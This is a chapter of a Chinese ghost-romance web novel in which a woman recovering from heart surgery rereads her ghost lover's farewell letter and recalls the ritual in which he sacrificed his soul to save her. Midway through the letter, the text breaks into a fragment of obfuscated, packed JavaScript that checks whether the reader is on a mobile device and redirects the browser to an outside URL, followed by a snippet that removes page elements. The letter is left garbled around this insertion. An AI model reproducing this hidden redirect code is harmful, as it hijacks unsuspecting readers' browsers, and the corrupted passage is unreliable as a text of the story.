检查结果一点问题都没有，再加上今天已经10号，喻声也坚持说她没事了，舒云繁才稍微放下心，收拾好东西准备回家。
她临走前，又仔细再确认了一遍：“真的没事？不会再像昨晚那样了吧？”
“真的没事，备用钥匙都给你了，你就住隔壁，有事我说一句你不是马上就能过来？”喻声笑了笑，“我今晚做番茄牛腩饭，你学习完了就过来吃。”
舒云繁闻言眼睛都亮了，说了声“给我多做点喔学习完了就跟饭桶一样”后就高高兴兴提着行李和豆乳回去了。
家里陡然静下来，喻声在客厅站了很长时间，最后去卫生间洗了把脸，决定去写点什么来让心也能平静一些。
她太久没输出过文字了，连打开电脑的操作都好像变得有点生疏。
上一篇文完结是什么时候？
喻声边打开码字软件，边想着时间。
没记错的话，应该是五月底。
那是一篇cp产出，冷圈冷cp，在写文网站上甚至连tag都没有。因为圈内实在找不到能做饭的厨子，单主才来约稿。她洋洋洒洒给喻声发过来很多cp细节，但为了尽善尽美，喻声还是花时间去找资料了解了一下，吃上细糠后创作欲爆棚，在激情产出中错过了和江时的520。
距离520结束只剩两个小时的时候喻声才踏出房门，她脚步放轻，想偷偷摸摸看一眼江时在客厅干什么。
这一探头，才发现客厅没开灯，微弱的亮光来源于电视，放的是他们之前一起看过的电影。江时的胳膊支在沙发扶手上，撑着头，眼睛紧闭，一动不动。
难得见他睡着。
喻声弯了弯眼睛，把拖鞋脱掉，慢吞吞地走近、凑近、手撑着沙发背，半壁咚的姿势，用目光细细描摹。
她好像很久很久，没这么专注看过江时的脸。
他的睫毛原来很长，平时眼睛太过漂亮总让人忽略这一点。睫毛投下的阴影和鼻子阴影连在一起，像一片薄薄轻轻的雾，缭绕在山峦周围。
她在夜晚，看到晨间的美景。
美景并非静止如油画，在喻声还没反应过来的时候，云雾开始游动，山峦的棱角若隐若现，白云柔软，蓦然降落到她的世界。
被偷吻后，喻声笑着箍住江时的下巴戳了下他脸上重新浮现的小括弧，看着他睁开的笑意盈盈的眼睛问道：“……装睡是吧？”
“愿者上钩啊喻小姐。”江时说，“谁让你偷看我的。”
他的手原本扶住喻声的腰，边说着话就边往下滑，扣紧她的大腿根掰开后他突然起身，腾地将她托举起来。
突然的失重感让喻声控制不住地要往后仰，她双手往前伸，赶紧环住江时的脖颈。等稳住后，她越想越不对劲，索性变成单手环着，另一只手拍打了好几下他的肩膀。
“江先生。”喻声说，“你报复心还挺强啊。”
“喻小姐，现在才知道是不是有点太晚了？”江时牢牢地抱着她，边往房间走边笑着回道。
他时走时停，慢吞吞的，一路上还要凑近仰头亲她。
“让不让亲啊？”
有两下没亲上，江时问。
“不让。”喻声说。
喻声笑着躲开，又因为被江时抱在半空中，躲避空间实在有限。
就算说完不让，还是被亲了一通。
他笑着问要不要再玩一次，喻声咬着他的下唇，被蛊惑般地点点头。
就算在他身上留下牙印，喊了好几遍停下，他还是得寸进尺，像伊甸园里那条最最狡猾的蛇，在河流前引诱她吃下禁果。
最后靠在了他的怀里，被抱去了浴室洗澡。在喻声昏昏沉沉之际，江时凑过来吻了吻她的额头，淅淅沥沥的水声作背景音，喻声听见他说了句我爱你。
喻声抬头，吻落在他的嘴角。
她说：“520快乐，男朋友，现在让你亲了。”
更准确来说，最后她编辑文档的时间应该是5月20日。
光标往下移动，定在了最新文档的属性上。
映入喻声眼帘的却不是5月20日。
上面显示——
创建时间：
「2020年6月26日，23:20:25」
修改时间：
「2020年6月30日，12:14:17」
访问时间：
「2020年7月1日，10:10:31」
2020年7月1日，10:10:31。
这个时间点，她还在医院。
喻声没想要哭，这些文字她早在医院就已读过一遍。她平静地点开文档，又平静地从头慢慢滑到尾，可是眼泪就是自己掉下来了，和面前这封信里的每一个字一起，把心砸出了一个又一个的坑。
「生生：
身体恢复得怎么样？如果你能看到这封信的话，应该已经恢复正常了。虽然没问题了，但还是要好好休息，我用你的手机给舒云繁发了信息，让她如果有时间的话来陪你住几天，你见到她应该可以开心一点。我没法和她当面说，那就你替我向她道个歉吧，之前用飘着的碗吓到她了，这次还要感谢她的帮忙。
还有豆乳，它如果见不到我估计会像之前我出门工作那样绕着你转圈圈，你就找狗窝里那颗球给它玩，这是我上次给它买的，见到球它就会像见到我一样了。千万别让它去餐边柜那边玩，毕竟我把煤球、芝士、抹茶都养得很好，就让它们多陪陪你吧。还有那束向日葵，喜欢吗？想来想去不知道还能留下点什么给你，就在30号的时候买回家了，以前我每次工作完回家都会给你买花，这次迎接你的新生，我也想买一束给你，希望它争气点，能开到你回家的那天。
说了这么多别人的，没怎么提到你，不许生我的气，我只是没想好怎么说，因为很爱你，总在踌躇。
你在医院的这段时间，我走遍了我们一起去过的地方，最后发现最爱待的地方还是卧室的窗边。我第一次见你就在这里，那时候我们还剑拔弩张的，你一定很讨厌我，但如果再来一次的话，我可能还是会选择那样做。因为那是100年来，我唯一被人看到的时刻。也因为我们的关系不好过，所以现在的好更显得弥足珍贵。
站在窗边的时候，我总疑心这是不是一场梦，你晕倒在我怀里、你住院也都是一场梦而已。你还在家，还在厨房准备我们的晚餐，还在沙发上看书，还会需要我给你温牛奶，我可以抱着你，将你举高，你低头，会笑着双手捧着我的脸亲我，腿故意使坏地乱晃。但当我找遍这个家都没能找到你，我就知道只是我不够清醒。
每每这个时候，我都很疲惫。这种感觉太不好受，所以我会想，那常常因为心脏疲惫的你，会流下多少我不知道的眼泪？我一直说会有以后，慢慢来，你没说话，只是眼睛弯弯地看着我，那个时候你在想些什么？
你知道我没有心脏的，但那块位置突然疼了。
我收回那句“因为我很爱你”的话，我好像不够爱你。
明明从你奶奶口中知道了你过去遭受过什么，却直到现在去想再来一次的话还会选择让你先讨厌我。我问起你奶奶断掉的佛珠如何复原，她说无须复原，或许缘分已尽。
生生，最后再原谅我一次吧。
人总贪心，总遗憾，我也会，我也有。
因为曾经一无所有过，因为现在拥有的太多。
为了让你原谅我，我还去了福利院，找到了你写过的那块福牌。说着我是骗子的你，其实才是最大的骗子。明明写着要健康，要如愿，却还是骗我说你写着漂亮。
不过这么一想，也不错。
如果真的写着漂亮的话，我就没有办法帮你实现了，但让你健康和如愿，我倒是可以。你知道的，我最大的心愿，就是喻声能如愿，谢谢你让我实现。
我一直都明白，当初发烧的时候说的“烧死了也没关系”只是逞强的话，你其实很想好好活着，看到福牌后，我更确定了这一点。你爱这个世界，爱每一束花、爱每一株草，你一直都想去看祖国的大好山川，那些逞强的话只是因为你不能将真实想法说出口，也不愿说出口，一说出来，就会想起让人生存下来的心脏正把你困在东宜。你知道我一直都不喜欢火，但我现在喜欢了。我希望你能当火，当熊熊燃烧、不会熄灭的火，在那之前，我会成为木头。
生生，当我听到你的名的叠字是这个生的时候，我惊讶，也恍然。不过我也是刚知道，可能没有机会当面叫你了，这么想想是有点可惜。
但你别担心，我一点都不会后悔我做下的决定，你如此耀眼，该有很鲜活的人生，就跟名字一样，一直向上生长，一直生生不息。我想，或许这是我能找到的，达到这一点的最好最快的方式，所以我必须去做。
从福利院出来，我想起了你给我过的第一个生日。当时你问我，要不要把愿望跟你说，我说的是让你陪我再去看看福珠。但我当时许的愿望不是这个，我许的愿望是，时间停留在那一刻，眼前人永远是身边人。
确实是有点不切实际了。
既然愿望在当初没有跟你说，那我现在有权利把它报废吧？这次，我希望时间能往前走，毕竟我的女孩不止那一刻最漂亮，我没有理由自私地把她留在那里。
可惜我文笔实在不好，没法说出很漂亮的话。看你写文好像很轻松的样子，但真的轮到我自己却字字斟酌。这封信才多少字，我就东扯西扯地写了四五天，还不知道能不能把我想说的话表达出来。但我是一定要写的，至少得告诉你，这是我的决定，和任何其他旁人无关，也不想让你以为我无故消失，费劲找我，影响你的新生活。
生日那天，你说，希望我永远都不会后悔和你谈恋爱。傻瓜，怎么会后悔？我在被爱呢。我漫长的人生里100%的幸福都来源于你。
那场烟花放完后，就让我把100%的幸福重新还给你吧。你要活得更轻松些、再轻松些，不要那么辛苦了。
我的生生，希望你永远幸福。从前没能做到的、没敢去做的，在接下来的人生中去做一遍吧。没有我，你也可以去追逐你想要的自由，去看世界上最辽阔的大海，因为我不过是一个过去，而你在我这里，永远是那个最最勇敢的、不会被过去困住的小孩。
书不尽言，言不尽意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144984|184024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不必牵挂我，只要你开心，我就一直存在，一直在爱你。秋天要来了，你的世界里，将会有满园的四季桂。
江时」
访问时间已经更新为「2020年7月10日，15:23:21」，喻声双手将整张脸捂起来，泣不成声。
在医院刚看到这封信时她也是这样，坐在候诊长椅上哭得无法自已。
春华女士在准备仪式修复她的心脏时，喻声的身体处于无意识状态，灵魂却清醒着，她能清楚地看到外界发生了什么，但没有和外界沟通的渠道，像被关在了一个封闭的屋子里，怎么声嘶力竭地喊都没有人听见。
她听到春华女士问：“你想好了吗？”
而后江时笑道：“您跟我提过，我能回去本体是因为怨气在消散，不再执着于困住我的痛苦，可我能做到这一点完全是因为喻声。所以没什么想不想好的，我原本就属于她。只要她需要，我就会去做。”
王春华苦笑一声：“总之，谢谢。”
江时闻言很快摇头。
王春华又说：“我入这行四十余年，帮人解厄、避险、降福，但也做过很多不能做的事。凡事有因必有果，生生的爸爸和她心脏有问题，她能看见鬼，也全是我种下的因造成的果，想来真是作孽。如今更是在做一件遭天谴的事，活活害你受苦，让你灵魂残缺不全。但我没法不做，纵然折寿，死后不得善终，我也必须去做。这句谢谢，说到底，也是对不起，要不是我跟你提了有借魂续命的办法，你也不会去做。”
喻声说不出话来，但她的身体像是能反应灵魂状态一般，早已泪流满面。
江时走过来，用指腹替喻声擦泪。
他越擦，身体自动流出的眼泪就越多。
他还不知道喻声能看见，说道：“不用跟我说对不起，您也清楚，是我听说我不是鬼，修复能力来源于我是灵体才主动问您有没有解决办法的，就算有因果，起因也会是我，是我该谢谢您。等生生醒来，麻烦您跟她说，我给她留了一封信，在她平时写文的那个软件里。”
江时转身，背对着喻声，朝王春华深深一鞠躬。
王春华点头，说事不宜迟。
江时没再看喻声，直截了当地说开始。
王春华先取了一杯水，水里不知加了什么，水面混浊不清，她用了一张符覆盖上去，倒悬在床头。随后她阖眼，嘴里念叨着一连串的经文。
就在这时，杯下的那张符燃起火光，明明房间内门窗紧闭，仍有一阵狂风刮过，火在风的造势下愈烧得厉害，瞬间将江时圈在中间。
喻声像是回到了过去，以前王春华诵经的时候都会带上她的那段日子。小孩子哪能那么有耐心，听着敲木鱼、念经文的声音就开始左右摇晃，在香火味中昏昏欲睡。以前昏睡的是身体，现在昏睡的是灵魂。那扇透过身体看外面的窗户被慢慢闭上。
她的最后一眼，是江时的脸。
他被火光映亮，这么怕火的人被火围着眼睛却一下都没眨，从仪式开始前就直直地望过来，脸上带着轻松的笑意。
等喻声醒来，已经是新的一月。
恍若隔世。
江时不知道喻声在仪式前能听见、看见，王春华又岂会不知？所以她到底没说什么，只问喻声想不想回棉城休养一段时间。
喻声抱着电脑，没回答，无声流着泪。
王春华叹了一口气：“无论如何，我们俩都想试试。生生，不要怨他，怨我吧。”
喻声最终拒绝了王春华回棉城的提议。
她办理了出院手续，先把王春华送到机场，在王春华牵着她不愿走的时候，喻声笑着开口：“春华女士，你在棉城不是还有事要忙吗？放心吧，我现在身体已经没问题了，会照顾好自己的。”
王春华欲言又止。
喻声看着她，又补充道：“我连哭都不会哭的。”
怎么不会哭？
她只是不敢哭而已。
她不敢哭，怕原来看到她流泪最会来给她擦泪的人再也没有出现，那她就会意识到他已经走了。
真的很疲惫。
哭也疲惫，不哭也疲惫。
从7月1日到7月10日，她用了整整十天的时间，才接受江时真的不在了。
秋天快到了，但有很多东西停滞不前。
《鬼在这里》不会再有续集，黑色垃圾袋里的盆栽也不会复原，她往后伸手，不会再抓到那个一直想逗弄她的人了。
喻声后悔自己太过贪心。
她原本以为会是江时先离开，没想到会是自己先心脏病发，绊住了他的脚步。如果她提前选择分开的话，假以时日，江时一定会回归本体，就算不记得她了，那个曾经和她温存过的灵魂也会一直存在。
就像他曾经做过的那个梦一样，无须爱她，但那个受过伤的灵魂还可以在别的身体里温存，还可以认真去爱这个世界。
她说过，死亡也不能将他们分开，而让她活着的代价，是让她喜欢的人魂飞魄散。
终究是她亲手害了自己喜欢的人。
她让江时，在死亡了101年后，再一次尝试到了疼痛的滋味。